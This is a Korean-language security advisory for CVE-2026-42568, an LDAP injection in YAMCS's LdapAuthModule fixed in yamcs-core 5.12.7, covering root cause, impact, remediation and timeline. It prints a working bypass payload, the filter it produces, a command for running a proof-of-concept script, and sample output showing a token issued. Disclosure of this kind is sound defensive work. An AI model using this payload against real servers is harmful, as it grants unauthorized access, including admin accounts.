
org.yamcs.security.LdapAuthModule에 LDAP 인젝션 취약점이 존재합니다. 사용자 이름 매개변수가 RFC 4515 이스케이프 없이 LDAP 검색 필터에 직접 삽입되어 인증 우회가 가능합니다.
org.yamcs.security.LdapAuthModule에 LDAP 인젝션 취약점이 존재합니다. 사용자 이름 매개변수가 RFC 4515 이스케이프 처리 없이 LDAP 검색 필터에 직접 삽입되어 인증 우회가 가능합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-42568 |
| 심각도 | MEDIUM |
| CWE | CWE-90: LDAP 쿼리에서 특수 요소의 부적절한 중립화 |
| 영향받는 버전 | yamcs-core < 5.12.7 (LDAP 인증이 구성된 경우) |
| 수정 버전 | yamcs-core 5.12.7 |
| 권고 | GHSA-cqh3-jg8p-336j |
근본 원인 (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
일반적인 userFilter가 (uid={0})인 경우, 악의적인 사용자 이름이 필터 구조를 깨뜨립니다:
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
pip install requests
python3 poc.py http://localhost:8090
취약한 인스턴스에서의 예상 출력 (LDAP 구성 시):
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
참고: 이 취약점은
LdapAuthModule이 구성된 YAMCS 인스턴스에만 영향을 미칩니다. 기본 제공 인증을 사용하는 기본 설치는 영향을 받지 않습니다.
인증되지 않은 공격자가 YAMCS 서버에 접근할 수 있는 경우, LDAP 인증이 구성되어 있으면 인증을 완전히 우회하여 관리자를 포함한 임의의 사용자로 접근할 수 있습니다.
yamcs-core >= 5.12.7로 업그레이드하십시오.
수정 사항은 LDAP 필터를 구성하기 전에 사용자 이름에 RFC 4515 이스케이프를 적용합니다.
| 날짜 | 사건 |
|---|---|
| 2026-05 | 취약점 보고 |
| 2026-05-26 | yamcs-core 5.12.7에서 수정 릴리스 |
| 2026-05-26 | 공개 권고 게시 |
Daniel Miranda Barcelona (Excal1bur)